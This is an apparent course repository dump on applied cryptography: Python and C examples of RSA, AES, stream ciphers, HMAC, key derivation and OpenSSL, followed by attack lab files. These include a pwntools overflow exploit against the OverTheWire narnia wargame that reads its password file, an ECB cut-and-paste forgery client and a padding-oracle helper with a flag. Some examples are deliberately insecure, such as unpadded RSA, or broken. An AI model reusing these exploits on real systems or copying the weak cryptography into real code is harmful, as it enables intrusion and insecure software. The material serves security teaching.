print("Echo failed!") 21 | 22 | -------------------------------------------------------------------------------- /AY1920/py-basic/additional_material/18.pwntools_process.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.update(arch='amd64', os='linux') 4 | io = process('sh') 5 | io.sendline('echo Hello, world') 6 | print(io.recvline()) 7 | -------------------------------------------------------------------------------- /AY1920/py-basic/additional_material/19.pwntools_process_2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | io = process(['sh', '-c', 'echo $MYENV'], env={'MYENV': 'MYVAL'}) 4 | print(io.recvline()) 5 | -------------------------------------------------------------------------------- /AY1920/py-basic/additional_material/20.pwntools_interactive.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | io = process('sh') 4 | 5 | io.interactive() 6 | -------------------------------------------------------------------------------- /AY1920/py-basic/additional_material/21.pwntools_remote.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | io = remote('google.com', 80) 4 | io.send('get /\r\n\r\n') 5 | print(io.recvline()) 6 | 7 | #import requests 8 | -------------------------------------------------------------------------------- /AY1920/py-basic/additional_material/22.pwntools_ssh.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context(arch='i386', os='linux') 4 | #first tube: an SSH channel with the remote host 5 | s = ssh(user='narnia0', host='narnia.labs.overthewire.org', password='narnia0', port=2226) 6 | # here 7 | #second tube: connect with a process on the remote machine (tube encapsulation) 8 | sh = s.run('/narnia/narnia0') 9 | payload = ("A"*20).encode() + p32(0xdeadbeef) 10 | print(payload) 11 | sh.sendline(payload) #here I completed the attack: I control a shell on the server 12 | 13 | sh.sendline('cat /etc/narnia_pass/narnia1') 14 | print("Line 1: "+sh.recvline().decode('latin-1')) 15 | print("Line 2: "+sh.recvline().decode('latin-1')) 16 | print("Line 3: "+sh.recvline().decode('latin-1')) 17 | print("Flag: "+sh.recvline().decode('latin-1')) 18 | s.close() 19 | -------------------------------------------------------------------------------- /AY1920/py-basic/asymmetric/live/1_primes_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util import number 2 | 3 | # manually implement trivial RSA 4 | 5 | n_length = 1024 6 | 7 | p1 = number.getPrime(n_length) 8 | print(p1) 9 | 10 | p2 = number.getPrime(n_length) 11 | print(p2) 12 | 13 | # modulus 14 | n = p1 * p2 #python3 multiplication is efficient 15 | print(n) 16 | 17 | #public exponent 18 | e = 65537 # f4 19 | 20 | phi = (p1-1)*(p2-1) 21 | print(phi) 22 | 23 | # private exponent 24 | #e * d ~= 1 mod phi 25 | d = pow(e, -1, phi) # pow in Python 3.8 is efficient 26 | print(d) 27 | 28 | print(e*d%phi) 29 | 30 | public_key = (e,n) 31 | private_key = (d,n) # miss the primes and miss the CRT parameters 32 | 33 | # trivial encryption 34 | m = b'This is the message to encrypt' 35 | 36 | #RSA works with integers 37 | m_int = int.from_bytes(m,byteorder='big') 38 | print(m_int) 39 | 40 | 41 | # m_int must be less than n 42 | if m_int >= n: 43 | raise ValueError 44 | 45 | #encryption: use the public key 46 | C = pow(m_int,e,n) 47 | print(C) 48 | 49 | #decryption: use the private key 50 | D = pow(C,d,n) 51 | print(D) 52 | 53 | m_decrypted = D.to_bytes(n_length,byteorder='big') 54 | print(m_decrypted.decode()) 55 | -------------------------------------------------------------------------------- /AY1920/py-basic/asymmetric/primes.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util import number 2 | 3 | #implement trivial RSA 4 | n_length = 1024 5 | 6 | #generate the primes 7 | p1 = number.getPrime(n_length) 8 | print(p1) 9 | 10 | p2 = number.getPrime(n_length) 11 | print(p2) 12 | 13 | #modulus 14 | n = p1 * p2 15 | print(n) 16 | 17 | #euler function 18 | phi = (p1-1)*(p2-1) 19 | 20 | #public parameter 21 | e = 65537 22 | 23 | #compute the private parameter 24 | d= pow(e,-1,phi) 25 | 26 | print(d) 27 | 28 | #just check that everything is OK 29 | print(e*d%phi) 30 | 31 | #create the public and private keys as Python pairs 32 | public = (e,n) 33 | private = (d,n) 34 | 35 | #just print the private exponent 36 | print(public[0]) 37 | 38 | #trivial encryption of a message 39 | 40 | 41 | m = b'this is the message to encrypt' 42 | 43 | #integer representation of the message to encrypt (raise to) 44 | m_int = int.from_bytes(m,byteorder='big') 45 | print(m_int) 46 | 47 | # message bounded to the modulus 48 | if m_int > n: 49 | raise ValueError 50 | 51 | #encryption with public key 52 | C = pow(m_int,e,n) 53 | print(C) 54 | 55 | #decryption with private key 56 | D = pow(C,d,n) 57 | print(D) 58 | 59 | #interpret as a text string again 60 | msg = D.to_bytes(n_length,byteorder='big') 61 | print(msg) 62 | print(msg.decode()) 63 | -------------------------------------------------------------------------------- /AY1920/py-basic/asymmetric/rsa_encrypt.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.primitives.asymmetric import rsa 2 | from cryptography.hazmat.primitives import constant_time 3 | from cryptography.hazmat.primitives import serialization 4 | from cryptography.hazmat.backends import default_backend 5 | from cryptography.hazmat.primitives.asymmetric import padding 6 | from cryptography.hazmat.primitives import hashes 7 | 8 | key_file = open("privatekey.pem", "rb") 9 | private_key = serialization.load_pem_private_key( 10 | key_file.read(), 11 | password=None, 12 | backend=default_backend() 13 | ) 14 | 15 | public_key = private_key.public_key() 16 | 17 | message = b"encrypted data" 18 | 19 | ciphertext = public_key.encrypt( 20 | message, 21 | padding.OAEP( 22 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 23 | algorithm=hashes.SHA256(), 24 | label=None 25 | ) 26 | ) 27 | 28 | plaintext = private_key.decrypt( 29 | ciphertext, 30 | padding.OAEP( 31 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 32 | algorithm=hashes.SHA256(), 33 | label=None 34 | ) 35 | ) 36 | # plaintext == message 37 | 38 | print(constant_time.bytes_eq(plaintext,message)) 39 | -------------------------------------------------------------------------------- /AY1920/py-basic/asymmetric/rsa_keygen.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.backends import default_backend 2 | from cryptography.hazmat.primitives.asymmetric import rsa 3 | from cryptography.hazmat.primitives import serialization 4 | 5 | private_key = rsa.generate_private_key( 6 | public_exponent=65537, 7 | key_size=2048, 8 | backend=default_backend() 9 | ) 10 | 11 | 12 | pem = private_key.private_bytes( 13 | encoding=serialization.Encoding.PEM, 14 | format=serialization.PrivateFormat.PKCS8, # RAW / Traditional OpenSSL 15 | # encryption_algorithm=serialization.BestAvailableEncryption(b'mypassword') 16 | encryption_algorithm=serialization.NoEncryption() 17 | ) 18 | # pem.splitlines()[0] 19 | print(pem) 20 | with open("privatekey.pem", 'wb') as pem_out: 21 | pem_out.write(pem) 22 | 23 | 24 | 25 | public_key = private_key.public_key() 26 | public_pem = public_key.public_bytes( 27 | encoding=serialization.Encoding.PEM, 28 | format=serialization.PublicFormat.SubjectPublicKeyInfo 29 | ) 30 | print(public_pem) 31 | print(public_key.public_numbers()) 32 | print(private_key.private_numbers().p) 33 | print(private_key.private_numbers().q) 34 | print(private_key.private_numbers().d) 35 | 36 | print(private_key.private_numbers().public_numbers.e) 37 | -------------------------------------------------------------------------------- /AY1920/py-basic/live/AES_example.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Util.Padding import pad, unpad 4 | 5 | from mysecrets import aes_key 6 | 7 | plaintext = b'This is the secret message to encrypt' 8 | 9 | 10 | # key = get_random_bytes(32) #key for AES256 11 | iv = get_random_bytes(AES.block_size) 12 | 13 | cipher = AES.new(aes_key,AES.MODE_CBC,iv) 14 | 15 | padded_data = pad(plaintext,AES.block_size) #PKCS#7 01 0202 030303 16 | print(padded_data) 17 | ciphertext = cipher.encrypt(padded_data) 18 | print(ciphertext) 19 | print(cipher.iv) 20 | 21 | 22 | ############### 23 | # at the recipient 24 | # again import from mysecrets the aes_key 25 | 26 | cipher2 = AES.new(aes_key, AES.MODE_CBC, cipher.iv) 27 | decrypted_data = cipher2.decrypt(ciphertext) 28 | print(decrypted_data) 29 | pt = unpad(decrypted_data, AES.block_size) 30 | assert(plaintext == pt) 31 | -------------------------------------------------------------------------------- /AY1920/py-basic/live/digest_example.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA256 2 | 3 | hash_object = SHA256.new() 4 | 5 | plaintext = b'This is the secret message to encrypt' 6 | plaintext2 = b'And this is the second part of the secret message to encrypt' 7 | 8 | hash_object.update(plaintext) 9 | hash_object.update(plaintext2) 10 | 11 | print(hash_object.digest()) 12 | print("Digest = " + hash_object.hexdigest()) 13 | -------------------------------------------------------------------------------- /AY1920/py-basic/live/hmac512_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import HMAC, SHA256 2 | from Crypto.Random import get_random_bytes 3 | import json 4 | 5 | msg = b'This is the message to use to compute a MAC' 6 | 7 | key = get_random_bytes(32) 8 | 9 | hmac_generator = HMAC.new(key,digestmod=SHA256) 10 | 11 | hmac_generator.update(msg[:10]) 12 | hmac_generator.update(msg[10:]) 13 | 14 | mac = hmac_generator.hexdigest() 15 | 16 | print(mac) 17 | 18 | json_dict = {"message":msg.decode('utf-8'), "MAC":mac} 19 | json_object = json.dumps(json_dict) 20 | print(json_object) 21 | 22 | 23 | 24 | ################################### 25 | # here is teh recipient 26 | # we shared the key securely: key 27 | # recipient receives the json object through a public channel 28 | 29 | 30 | b64 = json.loads(json_object) 31 | hmac_verifier = HMAC.new(key,digestmod=SHA256) 32 | # hmac_verifier.update(b64["message"].encode('utf-8')) 33 | hmac_verifier.update(b'a different sequence of bytes') 34 | 35 | try: 36 | hmac_verifier.hexverify(b64["MAC"]) 37 | print("The message is authentic") 38 | 39 | except ValueError: 40 | print("The message or the key are wrong") 41 | -------------------------------------------------------------------------------- /AY1920/py-basic/live/input.txt: -------------------------------------------------------------------------------- 1 | ciao ciao ciao ciao ciao 2 | -------------------------------------------------------------------------------- /AY1920/py-basic/live/kdf_live.py: -------------------------------------------------------------------------------- 1 | #KDF password: string --> key (proper size) + add entropy --> salt 2 | # KDF must be slow (dictionary attacks) and use a lot of RAM (dictionary attacks made with GPU or ASIC/FPGA) 3 | # bcrypt and scrypt --> competition (AES, SHA3, STREAM) -> argon2i 4 | # sccrypt 5 | 6 | from Crypto.Protocol.KDF import scrypt 7 | from Crypto.Random import get_random_bytes 8 | 9 | password = b'passw0rd1' 10 | salt = get_random_bytes(16) # minimum size of the salt is 16 bytes 11 | 12 | key = scrypt (password, salt, 32, N=2**14, r=8, p=1) 13 | 14 | # N=2**14, r=8, p=1 for interactive logins 15 | # N=2**20, r=8, p=1 forkeys for encryption algorithm (disk encryption, file encryption) 16 | -------------------------------------------------------------------------------- /AY1920/py-basic/live/salsa_ex.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import Salsa20 2 | from Crypto.Random import get_random_bytes 3 | import base64 4 | 5 | plaintext = b'This is the secret message to encrypt' 6 | plaintext2 = b'And this is the second part of the secret message to encrypt' 7 | 8 | key = get_random_bytes(32) 9 | nonce = get_random_bytes(8) 10 | 11 | cipher = Salsa20.new(key=key) # object ready to encrypt 12 | ciphertext = cipher.encrypt(plaintext) 13 | ciphertext += cipher.encrypt(plaintext2) 14 | 15 | #base64 16 | print(ciphertext) 17 | 18 | b64 = base64.b64encode(ciphertext) 19 | print("Ciphertext = "+b64.decode('utf-8')) 20 | print("Nonce = " + base64.b64encode(cipher.nonce).decode('utf-8')) 21 | 22 | #key shared in some secure way 23 | cipher2 = Salsa20.new(key=key,nonce=cipher.nonce) 24 | plaintext_dec = cipher2.decrypt(ciphertext) 25 | 26 | print(plaintext_dec) 27 | -------------------------------------------------------------------------------- /AY1920/py-basic/live/salsa_file.py: -------------------------------------------------------------------------------- 1 | #encrypt the content of the file argv[1] 2 | #store ciphertext in the file argv[2] 3 | from Crypto.Cipher import ChaCha20 4 | from Crypto.Random import get_random_bytes 5 | import base64 6 | import sys 7 | 8 | key = get_random_bytes(32) 9 | 10 | cipher = ChaCha20.new(key=key) 11 | 12 | f_output = open(sys.argv[2],"wb") 13 | 14 | with open(sys.argv[1],"rb") as f_input: 15 | plaintex = f_input.read(1024) 16 | ciphertext = cipher.encrypt(plaintex) 17 | f_output.write(ciphertext) 18 | 19 | print("Nonce = " + base64.b64encode(cipher.nonce).decode('utf-8')) 20 | -------------------------------------------------------------------------------- /AY1920/py-basic/live/sha3_file.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | import sys 3 | 4 | hash_object = SHA3_256.new() 5 | 6 | with open(sys.argv[1],"rb") as f_input: 7 | input_data = f_input.read(1024) 8 | hash_object.update(input_data) 9 | 10 | 11 | print(hash_object.digest()) 12 | print(hash_object.hexdigest()) 13 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/1.gen_random_key.py: -------------------------------------------------------------------------------- 1 | from Crypto.Random import get_random_bytes 2 | from Crypto.Cipher import AES 3 | 4 | if __name__ == '__main__': 5 | print(get_random_bytes(AES.block_size)) 6 | 7 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/10.hmac-sha512.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | from Crypto.Hash import HMAC, SHA256 4 | from Crypto.Random import get_random_bytes 5 | 6 | msg = b'This is the message to use to compute the HMAC' 7 | key = get_random_bytes(32) 8 | hmac_gen = HMAC.new(key, digestmod=SHA256) 9 | hmac_gen.update(msg[:10]) 10 | hmac_gen.update(msg[10:]) 11 | mac = hmac_gen.hexdigest() 12 | 13 | json_dict = {"message": msg.decode('utf-8'), "MAC":mac} 14 | json_object = json.dumps(json_dict) 15 | print(json_object) 16 | 17 | 18 | 19 | # ASSUMPTION: we have securely exchanged the secret key 20 | 21 | b64 = json.loads(json_object) 22 | hmac_ver = HMAC.new(key, digestmod=SHA256) 23 | hmac_ver.update(b64["message"].encode('utf-8')) 24 | 25 | try: 26 | hmac_ver.hexverify(b64["MAC"]) 27 | print("The message '%s' is authentic" % msg) 28 | except ValueError: 29 | print("The message or the key is wrong") 30 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/12.sha256_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | digest_object = hashlib.sha256() 4 | digest_object.update(b"First sentence to hash") 5 | digest_object.update(b" and second sentence to hash.") 6 | 7 | print(digest_object.digest()) 8 | print(digest_object.hexdigest()) 9 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/13.HMAC_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import hmac 3 | from Crypto.Random import get_random_bytes 4 | 5 | msg = b'This is the message' 6 | key = get_random_bytes(32) 7 | 8 | blake = hashlib.blake2b(key=key, digest_size=32) 9 | blake.update(msg) 10 | print("BLAKE = " + blake.hexdigest()) 11 | 12 | #################### 13 | 14 | mac_object = hmac.new(key, msg, hashlib.sha256) 15 | hmac_sha256 = mac_object.hexdigest() 16 | print("HMAC-SHA256 = " + hmac_sha256) 17 | 18 | msg1 = b'This is the new message' 19 | mac_object_1 = hmac.new(key, msg1, hashlib.sha256) 20 | hmac_sha256_1 = mac_object_1.hexdigest() 21 | print("HMAC-SHA256_1 = " + hmac_sha256_1) 22 | 23 | if hmac.compare_digest(mac_object_1.digest(), mac_object.digest()): 24 | print("HMAC correctly verified: messages are identical") 25 | else: 26 | print("HMAC are different") 27 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/14.key_derivation.py: -------------------------------------------------------------------------------- 1 | from Crypto.Protocol.KDF import scrypt 2 | from Crypto.Random import get_random_bytes 3 | 4 | password = b'passw0rd!' 5 | salt = get_random_bytes(16) 6 | key = scrypt(password, salt, 16, N=2**14, r=8, p=1) 7 | print(salt) 8 | 9 | print("This should be secret: " + str(key)) 10 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/3.stream-chacha20.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import sys 3 | from Crypto.Cipher import ChaCha20 4 | from Crypto.Random import get_random_bytes 5 | 6 | plaintext = b'This is the secret message to encrypt' 7 | 8 | key = get_random_bytes(32) 9 | 10 | # cipher = ChaCha20.new(key=key) #nonce is automatically generated 11 | nonce = get_random_bytes(8) 12 | ciphertext = cipher.encrypt(plaintext) 13 | 14 | print("Ciphertext="+base64.b64encode(ciphertext).decode('utf-8')) 15 | print("Nonce="+base64.b64encode(cipher.nonce).decode('utf-8')) 16 | 17 | print(sys.getsizeof(plaintext),end=" ") 18 | print(sys.getsizeof(plaintext)) 19 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/4a.stream-salsa.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import Salsa20 2 | 3 | key = b'deadbeefdeadbeef' 4 | cipher = Salsa20.new(key) 5 | ciphertext = cipher.encrypt(b'The secret I want to send. ') 6 | ciphertext += cipher.encrypt(b'The second part of the secret.') 7 | nonce = cipher.nonce 8 | print(nonce) 9 | 10 | cipher2 = Salsa20.new(key,nonce) 11 | plaintext = cipher2.decrypt(ciphertext) 12 | print("Decrypted = "+plaintext.decode("utf-8")) 13 | 14 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/4b.stream_encrypt_file_update.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import Salsa20 5 | from Crypto.Random import get_random_bytes 6 | import sys 7 | 8 | from mysecrets import salsa_key 9 | 10 | nonce = get_random_bytes(8) 11 | streamcipher = Salsa20.new(salsa_key,nonce) 12 | 13 | f_output = open(sys.argv[2],"wb") 14 | 15 | with open(sys.argv[1],"rb") as f_input: 16 | plaintext = f_input.read(1024) 17 | ciphertext = streamcipher.encrypt(plaintext) 18 | f_output.write(ciphertext) 19 | 20 | print(streamcipher.nonce) 21 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/5.block-AES+padding.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.Padding import pad, unpad 2 | from Crypto.Cipher import AES 3 | from Crypto.Random import get_random_bytes 4 | 5 | AES256_KEY_SIZE = 32 # forces AES256 6 | 7 | data = b'Unaligned data to cipher' # 24 bytes 8 | key = get_random_bytes(AES256_KEY_SIZE) 9 | iv = get_random_bytes(AES.block_size) 10 | 11 | cipher1 = AES.new(key, AES.MODE_CBC, iv) 12 | padded_data = pad(data,AES.block_size) 13 | print(padded_data) 14 | ct = cipher1.encrypt(padded_data) 15 | 16 | #decryption 17 | cipher2 = AES.new(key, AES.MODE_CBC, iv) 18 | decrypted_data = cipher2.decrypt(ct) 19 | print(decrypted_data) 20 | pt = unpad(decrypted_data, AES.block_size) 21 | assert(data == pt) 22 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/6.AES_encrypt_file.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | from Crypto.Util.Padding import pad 7 | import sys 8 | 9 | from mysecrets import aes_key 10 | 11 | iv = get_random_bytes(AES.block_size) 12 | cipher = AES.new(aes_key, AES.MODE_CBC, iv) 13 | 14 | f_input = open(sys.argv[1],"rb") 15 | 16 | 17 | ciphertext = cipher.encrypt(pad(f_input.read(),AES.block_size)) 18 | 19 | f_output = open(sys.argv[2],"wb") 20 | f_output.write(ciphertext) 21 | 22 | print(iv) 23 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/8.sha256.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA256 2 | 3 | hash_object = SHA256.new(data=b'First part of the message. ' ) 4 | hash_object.update(b'Second part of the message. ') 5 | hash_object.update(b'Third and last.') 6 | 7 | print(hash_object.digest()) 8 | print(hash_object.hexdigest()) 9 | -------------------------------------------------------------------------------- /AY1920/py-basic/symmetric/9.hash_file_sha3.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | import sys 3 | 4 | hash_object = SHA3_256.new() 5 | 6 | with open(sys.argv[1],"rb") as f_input: 7 | input_data = f_input.read(1024) 8 | hash_object.update(input_data) 9 | 10 | 11 | print(hash_object.digest()) 12 | print(hash_object.hexdigest()) 13 | -------------------------------------------------------------------------------- /AY2021/OpenSSL/asymmetric/bignum.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | // a just instantiated BIGNUM is initialized to 0 6 | BIGNUM *b1=BN_new(); 7 | BIGNUM *b2=BN_new(); 8 | BIGNUM *b3=BN_new(); 9 | 10 | 11 | // print after init 12 | BN_print_fp(stdout,b3); 13 | printf("\n"); 14 | 15 | // roughly speaking: _word functions mean -> from unsigned long 16 | BN_set_word(b1,354); 17 | BN_set_word(b2,75); 18 | 19 | // b1 % b2 --> b3 20 | // you can see a context as a sort of scratchpad where 21 | // the operations on BIGNUM take notes 22 | // you need one to operate 23 | BN_CTX *ctx=BN_CTX_new(); 24 | 25 | BN_mod(b3,b1,b2,ctx); 26 | 27 | // print in hex format 28 | BN_print_fp(stdout,b3); 29 | printf("\n"); 30 | 31 | 32 | BN_free(b1); 33 | BN_free(b2); 34 | BN_free(b3); 35 | 36 | BN_CTX_free(ctx); 37 | 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /AY2021/OpenSSL/asymmetric/bignum_in-out.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main () 5 | { 6 | //decimal string 7 | char num_string[] = "123456789012345678901234567890123456789012345678901234567890"; 8 | 9 | BIGNUM *big_number = BN_new(); 10 | //create a BIGNUM from a decimal string 11 | BN_dec2bn(&big_number, num_string); 12 | 13 | BN_print_fp(stdout,big_number); 14 | printf("\n"); 15 | 16 | char *num_hex_string = BN_bn2hex(big_number); 17 | printf("%s\n", num_hex_string); 18 | printf("%s\n", BN_bn2dec(big_number)); 19 | 20 | // politely free OpenSSL generated heap structures 21 | OPENSSL_free(num_hex_string); 22 | BN_free(big_number); 23 | 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /AY2021/OpenSSL/asymmetric/live/1_bignum_live.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | 6 | BIGNUM *b1 = BN_new(); 7 | BIGNUM *b2 = BN_new(); 8 | BIGNUM *b3 = BN_new(); 9 | 10 | // 11 | 12 | // after initialization value is 0 13 | // print 14 | BN_print_fp(stdout,b1); // hex 15 | puts(""); 16 | 17 | // set_word to assign values --> unsigned long 18 | BN_set_word(b1,354); 19 | BN_set_word(b2,33); 20 | 21 | BN_print_fp(stdout,b1); // hex 22 | puts(""); 23 | BN_print_fp(stdout,b2); // hex 24 | puts(""); 25 | 26 | 27 | //simple mod operation: 28 | BN_CTX *ctx = BN_CTX_new(); 29 | 30 | BN_mod(b3,b1,b2,ctx); 31 | 32 | //BN_bn2dec to print the decimal value 33 | 34 | printf("mod = %s\n",BN_bn2dec(b3)); 35 | 36 | // after usage: free all the memory 37 | 38 | BN_free(b1); 39 | BN_free(b2); 40 | BN_free(b3); 41 | 42 | BN_CTX_free(ctx); 43 | 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /AY2021/OpenSSL/asymmetric/live/2_bignum-in-out_live.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main () 5 | { 6 | 7 | char num_string[] = "123456789012345678901234567890123456789012345678901234567890"; 8 | 9 | BIGNUM *big_number = BN_new(); 10 | 11 | //BN_dec2bn 12 | BN_dec2bn(&big_number,num_string); 13 | BN_print_fp(stdout,big_number); 14 | puts(""); 15 | 16 | //BN_bn2hex 17 | char *hex_str = BN_bn2hex(big_number); 18 | printf("hex str = %s\n",hex_str); 19 | 20 | 21 | 22 | // free all the dynamically allocated memory 23 | 24 | BN_free(big_number); 25 | OPENSSL_free(hex_str); 26 | 27 | return 0; 28 | 29 | } 30 | -------------------------------------------------------------------------------- /AY2021/OpenSSL/symmetric/genkey_and_save.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | 7 | int main(int argc, char **argv) { 8 | unsigned char key[EVP_MAX_KEY_LENGTH]; 9 | FILE *key_file; 10 | int key_size; 11 | 12 | if(argc < 3) { 13 | fprintf(stderr, "Usage: %s algorithm outfile\n",argv[0]); 14 | exit(-1); 15 | } 16 | 17 | 18 | if((key_file = fopen(argv[2],"w")) == NULL) { 19 | fprintf(stderr, "Problems with the output file\n"); 20 | exit(-2); 21 | } 22 | 23 | 24 | const EVP_CIPHER *algo; 25 | 26 | //const EVP_CIPHER *EVP_get_cipherbyname(const char *name); 27 | if ((algo = EVP_get_cipherbyname(argv[1])) == NULL){ 28 | fprintf(stderr, "Unknown algorithm\n"); 29 | exit(-3); 30 | } 31 | 32 | key_size=EVP_CIPHER_key_length(algo); 33 | 34 | int rc = RAND_load_file("/dev/random", 32); 35 | if(rc != 32) { 36 | fprintf(stderr, "Couldnt initialize the PRNG\n"); 37 | exit(-4); 38 | } 39 | 40 | 41 | RAND_bytes(key,key_size); 42 | 43 | if(fwrite(key , 1 , key_size , key_file) != key_size){ 44 | fprintf(stderr, "Error writing on file\n"); 45 | exit(-5); 46 | } 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /AY2021/OpenSSL/symmetric/live/1_random_live.c: -------------------------------------------------------------------------------- 1 | //this program generates a sequence of random bytes 2 | // whose length is passed as a first argument 3 | 4 | #include 5 | #include 6 | 7 | #define MAX_BUF 2048 8 | 9 | int main(int argc,char **argv) { 10 | 11 | int n; 12 | int i; 13 | unsigned char random_string[MAX_BUF]; 14 | 15 | if(argc < 2){ 16 | fprintf(stderr,"Missing parameter, usage %s nbytes\n",argv[0]); 17 | exit(1); 18 | } 19 | 20 | if(sscanf(argv[1],"%d",&n)==0){ 21 | fprintf(stderr,"Problems scanning argv[1]\n"); 22 | exit(1); 23 | } 24 | 25 | if(n>MAX_BUF){ 26 | printf("Maximum size allowed exceeded. Set to %d\n",MAX_BUF); 27 | n=MAX_BUF; 28 | } 29 | 30 | 31 | // init the random generator 32 | int rc = RAND_load_file("/dev/random", 32); 33 | if(rc != 32) { 34 | fprintf(stderr,"errors initializying the PRNG"); 35 | exit(1); 36 | } 37 | 38 | 39 | // use the primitive for generating the random byte string 40 | RAND_bytes( random_string, n); // n is the integer conversion of argv[1] 41 | 42 | 43 | 44 | //print as an hexstring 45 | 46 | printf("Sequence generated: "); 47 | for(i = 0; i < n; i++) 48 | printf("%02x", random_string[i]); 49 | printf("\n"); 50 | 51 | return 0; 52 | } 53 | -------------------------------------------------------------------------------- /AY2021/OpenSSL/symmetric/random.c: -------------------------------------------------------------------------------- 1 | //this program generates a sequence of random bytes 2 | // whose length is passed as a first argument 3 | 4 | #include 5 | #include 6 | 7 | #define MAX_BUF 2048 8 | 9 | int main(int argc,char **argv) { 10 | 11 | int n; 12 | int i; 13 | unsigned char random_string[MAX_BUF]; 14 | 15 | if(argc < 2){ 16 | fprintf(stderr,"Missing parameter, usage %s nbytes\n",argv[0]); 17 | exit(1); 18 | } 19 | 20 | if(sscanf(argv[1],"%d",&n)==0){ 21 | fprintf(stderr,"Problems scanning argv[1]\n"); 22 | exit(1); 23 | } 24 | 25 | if(n>MAX_BUF){ 26 | printf("Maximum size allowed exceeded. Set to %d\n",MAX_BUF); 27 | n=MAX_BUF; 28 | } 29 | 30 | 31 | int rc = RAND_load_file("/dev/random", 32); 32 | if(rc != 32) { 33 | printf("Couldnt initialize PRNG\n"); 34 | exit(1); 35 | } 36 | 37 | RAND_bytes(random_string,n); 38 | 39 | printf("Sequence generated: "); 40 | for(i = 0; i < n; i++) 41 | printf("%02x", random_string[i]); 42 | printf("\n"); 43 | 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /AY2021/attacks/CBCPaddingOracle/helper/gen_ciphertext.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Util.Padding import pad 4 | 5 | from mysecrets import cbc_oracle_key as key 6 | from mysecrets import cbc_oracle_iv as iv 7 | 8 | cipher = AES.new(key,AES.MODE_CBC,iv) 9 | 10 | # msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 11 | msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time???}' 12 | 13 | print(len(msg)) 14 | print(iv) 15 | print(key) 16 | ctxt = cipher.encrypt(pad(msg,AES.block_size)) 17 | print(ctxt) 18 | 19 | cipher2 = AES.new(key,AES.MODE_CBC,iv) 20 | print(cipher2.decrypt(ctxt)) 21 | -------------------------------------------------------------------------------- /AY2021/attacks/ECBCopyPaste/ECB_CopyPaste_client.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import pad 3 | from pwn import * 4 | 5 | from mysecrets import ecb_oracle_key,HOST,PORT 6 | 7 | 8 | if __name__ == '__main__': 9 | 10 | 11 | server = remote(HOST, PORT) 12 | email1 = "aaaaaaa@b.com" 13 | print("User: " + email1) 14 | server.send(email1.encode()) 15 | c1 = server.recv(1024) 16 | server.close() 17 | 18 | server = remote(HOST, PORT) 19 | email2 = "aaaaaaaaaa"+pad("admin".encode(),AES.block_size).decode() 20 | print("User: " + email2) 21 | server.send(email2.encode()) 22 | c2 = server.recv(1024) 23 | server.close() 24 | 25 | test = remote(HOST, PORT+100) 26 | ciphertext_attack = bytearray() 27 | ciphertext_attack += c1[0:2*AES.block_size] 28 | ciphertext_attack += c2[AES.block_size:2*AES.block_size] 29 | test.send(ciphertext_attack) 30 | msg = test.recv(1024) 31 | print(msg.decode()) 32 | test.close() 33 | 34 | -------------------------------------------------------------------------------- /AY2021/attacks/ECBDecryptionOracle/ECB_ACPAttack_Server.py: 